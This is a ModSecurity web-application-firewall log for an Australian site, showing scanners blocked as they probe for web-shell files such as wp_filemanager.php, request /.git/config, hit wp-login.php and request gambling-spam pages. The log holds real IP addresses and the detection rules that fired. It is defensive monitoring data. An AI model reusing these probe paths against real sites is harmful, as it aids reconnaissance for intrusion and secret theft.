[Fri Apr 24 17:09:56.177575 2026] [:error] [pid 17720:tid 17771] [client 51.103.42.147:30091] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fictioner.php"] [unique_id "aeszZOhlUs6BS3Ng7_U_sQAAANE"]
[Fri Apr 24 17:09:57.297418 2026] [:error] [pid 17808:tid 17817] [client 51.103.42.147:46305] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fictioner.php"] [unique_id "aeszZearbOEFI8qshvLklAAAAEc"]
[Fri Apr 24 17:09:58.232661 2026] [:error] [pid 17720:tid 17765] [client 51.103.42.147:51460] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeszZuhlUs6BS3Ng7_U_uAAAAMs"]
[Fri Apr 24 17:10:00.332562 2026] [:error] [pid 22114:tid 22128] [client 51.103.42.147:57367] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeszaIAuWGz3WlMQjofGbQAAAQs"]
[Fri Apr 24 17:11:46.600780 2026] [:error] [pid 17720:tid 17763] [client 51.103.42.147:56779] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesz0uhlUs6BS3Ng7_VAowAAAMk"]
[Fri Apr 24 17:11:47.906792 2026] [:error] [pid 22114:tid 22132] [client 51.103.42.147:34258] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesz04AuWGz3WlMQjofHMAAAAQ8"]
[Fri Apr 24 17:11:49.285698 2026] [:error] [pid 14531:tid 14548] [client 51.103.42.147:57359] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesz1XfLU2gw-6KR-GaJFAAAAU8"]
[Fri Apr 24 17:11:50.021199 2026] [:error] [pid 14531:tid 14535] [client 51.103.42.147:54957] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aesz1nfLU2gw-6KR-GaJFQAAAUI"]
[Fri Apr 24 17:20:22.140157 2026] [:error] [pid 17719:tid 17728] [client 158.158.54.155:5527] [client 158.158.54.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aes11sTZ9gzEyL1BkPp-EgAAAIE"]
[Fri Apr 24 17:20:26.224966 2026] [:error] [pid 17721:tid 17786] [client 158.158.54.155:16765] [client 158.158.54.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aes12uFXXkLeyDnfk_8IfAAAAAU"]
[Fri Apr 24 17:20:27.442847 2026] [:error] [pid 17720:tid 17768] [client 158.158.54.155:18452] [client 158.158.54.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aes12-hlUs6BS3Ng7_VFDgAAAM4"]
[Fri Apr 24 17:20:28.522766 2026] [:error] [pid 17720:tid 17774] [client 158.158.54.155:33410] [client 158.158.54.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aes13OhlUs6BS3Ng7_VFFQAAANQ"]
[Fri Apr 24 18:21:27.594050 2026] [:error] [pid 17721:tid 17803] [client 195.178.110.241:54172] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aetEJ-FXXkLeyDnfk_8YzAAAABY"]
[Fri Apr 24 19:08:43.176944 2026] [:error] [pid 4177:tid 4198] [client 175.6.217.4:57535] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aetPO32asKnvdrSe0x7SfQAAAY0"]
[Fri Apr 24 20:28:47.440591 2026] [:error] [pid 14531:tid 14533] [client 93.158.213.26:47500] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeth_3fLU2gw-6KR-GbEFgAAAUA"]
[Fri Apr 24 20:28:49.968461 2026] [:error] [pid 4177:tid 4204] [client 93.158.213.26:40450] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aetiAX2asKnvdrSe0x4CYQAAAZM"]
[Fri Apr 24 20:28:52.636287 2026] [:error] [pid 17721:tid 17804] [client 93.158.213.26:40466] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aetiBOFXXkLeyDnfk_83KQAAABc"]
[Fri Apr 24 20:28:55.389401 2026] [:error] [pid 22114:tid 22123] [client 93.158.213.26:33650] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aetiB4AuWGz3WlMQjofoRAAAAQY"]
[Fri Apr 24 20:28:56.108575 2026] [:error] [pid 4177:tid 4201] [client 165.22.37.239:48182] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.37.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aetiCH2asKnvdrSe0x4CcwAAAZA"]
[Fri Apr 24 20:28:58.057042 2026] [:error] [pid 17720:tid 17759] [client 93.158.213.26:33664] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aetiCuhlUs6BS3Ng7_Wd0QAAAMU"]
[Fri Apr 24 20:29:00.417355 2026] [:error] [pid 17720:tid 17773] [client 93.158.213.26:33676] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aetiDOhlUs6BS3Ng7_Wd2AAAANM"]
[Fri Apr 24 20:29:03.329991 2026] [:error] [pid 4177:tid 4197] [client 93.158.213.26:33690] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aetiD32asKnvdrSe0x4CfQAAAYw"]
[Fri Apr 24 20:29:05.973315 2026] [:error] [pid 4177:tid 4195] [client 93.158.213.26:54668] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aetiEX2asKnvdrSe0x4CiQAAAYo"]
[Fri Apr 24 20:29:08.557283 2026] [:error] [pid 4177:tid 4204] [client 93.158.213.26:54674] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aetiFH2asKnvdrSe0x4ClwAAAZM"]
[Fri Apr 24 20:29:11.212336 2026] [:error] [pid 17721:tid 17786] [client 93.158.213.26:54682] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aetiF-FXXkLeyDnfk_83LgAAAAU"]
[Fri Apr 24 20:29:13.773220 2026] [:error] [pid 17808:tid 17822] [client 93.158.213.26:34894] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aetiGearbOEFI8qshvIxHgAAAEw"]
[Fri Apr 24 20:29:16.630914 2026] [:error] [pid 17808:tid 17815] [client 93.158.213.26:34902] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aetiHOarbOEFI8qshvIxJQAAAEU"]
[Fri Apr 24 20:29:19.718917 2026] [:error] [pid 17808:tid 17832] [client 93.158.213.26:34912] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aetiH-arbOEFI8qshvIxLgAAAFY"]
[Fri Apr 24 20:29:22.798386 2026] [:error] [pid 14531:tid 14544] [client 93.158.213.26:34920] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aetiInfLU2gw-6KR-GbETgAAAUs"]
[Fri Apr 24 20:29:25.544811 2026] [:error] [pid 14531:tid 14543] [client 93.158.213.26:59434] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aetiJXfLU2gw-6KR-GbEUwAAAUo"]
[Fri Apr 24 20:29:28.191284 2026] [:error] [pid 17721:tid 17791] [client 93.158.213.26:59436] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aetiKOFXXkLeyDnfk_83NgAAAAo"]
[Fri Apr 24 20:29:30.912637 2026] [:error] [pid 17808:tid 17814] [client 93.158.213.26:59446] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aetiKuarbOEFI8qshvIxSAAAAEQ"]
[Fri Apr 24 20:29:33.584665 2026] [:error] [pid 4177:tid 4208] [client 93.158.213.26:59290] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aetiLX2asKnvdrSe0x4C6AAAAZc"]
[Fri Apr 24 20:29:36.295131 2026] [:error] [pid 4177:tid 4195] [client 93.158.213.26:59296] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aetiMH2asKnvdrSe0x4C9wAAAYo"]
[Fri Apr 24 20:29:39.134706 2026] [:error] [pid 14531:tid 14551] [client 93.158.213.26:59324] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aetiM3fLU2gw-6KR-GbEagAAAVI"]
[Fri Apr 24 20:29:41.634802 2026] [:error] [pid 17808:tid 17826] [client 93.158.213.26:59336] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aetiNearbOEFI8qshvIxTgAAAFA"]
[Fri Apr 24 20:30:08.555509 2026] [:error] [pid 4177:tid 4189] [client 93.158.213.26:47590] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aetiUH2asKnvdrSe0x4DlgAAAYQ"]
[Fri Apr 24 20:30:11.508306 2026] [:error] [pid 4177:tid 4189] [client 93.158.213.26:44538] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aetiU32asKnvdrSe0x4DoQAAAYQ"]
[Fri Apr 24 20:30:14.042751 2026] [:error] [pid 17720:tid 17762] [client 93.158.213.26:59126] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aetiVuhlUs6BS3Ng7_WeegAAAMg"]
[Fri Apr 24 20:30:16.892106 2026] [:error] [pid 14531:tid 14546] [client 93.158.213.26:59132] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aetiWHfLU2gw-6KR-GbElgAAAU0"]
[Fri Apr 24 20:30:19.565213 2026] [:error] [pid 14531:tid 14541] [client 93.158.213.26:59142] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aetiW3fLU2gw-6KR-GbEmwAAAUg"]
[Fri Apr 24 20:30:22.318119 2026] [:error] [pid 4177:tid 4189] [client 93.158.213.26:59156] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aetiXn2asKnvdrSe0x4DrAAAAYQ"]
[Fri Apr 24 20:30:24.971336 2026] [:error] [pid 17721:tid 17801] [client 93.158.213.26:34742] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aetiYOFXXkLeyDnfk_83dAAAABQ"]
[Fri Apr 24 20:30:27.495462 2026] [:error] [pid 17721:tid 17781] [client 93.158.213.26:34758] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aetiY-FXXkLeyDnfk_83egAAAAA"]
[Fri Apr 24 20:30:30.185784 2026] [:error] [pid 17720:tid 17771] [client 93.158.213.26:34774] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aetiZuhlUs6BS3Ng7_WeiAAAANE"]
[Fri Apr 24 20:30:32.770354 2026] [:error] [pid 17721:tid 17793] [client 93.158.213.26:34778] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aetiaOFXXkLeyDnfk_83gQAAAAw"]
[Fri Apr 24 20:30:35.330663 2026] [:error] [pid 17808:tid 17821] [client 93.158.213.26:36140] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aetia-arbOEFI8qshvIxiQAAAEs"]
[Fri Apr 24 20:30:37.995117 2026] [:error] [pid 17719:tid 17735] [client 93.158.213.26:36154] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aetibcTZ9gzEyL1BkPqnZAAAAIg"]
[Fri Apr 24 20:30:40.575948 2026] [:error] [pid 17808:tid 17822] [client 93.158.213.26:36160] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeticOarbOEFI8qshvIxiwAAAEw"]
[Fri Apr 24 20:30:43.236504 2026] [:error] [pid 17808:tid 17825] [client 93.158.213.26:36172] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aetic-arbOEFI8qshvIxkgAAAE8"]
[Fri Apr 24 20:30:45.909646 2026] [:error] [pid 22114:tid 22119] [client 93.158.213.26:43208] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aetidYAuWGz3WlMQjofogwAAAQI"]
[Fri Apr 24 20:30:48.681280 2026] [:error] [pid 17721:tid 17787] [client 93.158.213.26:43214] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aetieOFXXkLeyDnfk_83jgAAAAY"]
[Fri Apr 24 20:30:51.359770 2026] [:error] [pid 17721:tid 17795] [client 93.158.213.26:43218] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aetie-FXXkLeyDnfk_83mAAAAA4"]
[Fri Apr 24 20:30:54.005234 2026] [:error] [pid 17721:tid 17798] [client 93.158.213.26:59186] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aetifuFXXkLeyDnfk_83nAAAABE"]
[Fri Apr 24 20:30:56.616809 2026] [:error] [pid 17719:tid 17732] [client 93.158.213.26:59202] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aetigMTZ9gzEyL1BkPqndQAAAIU"]
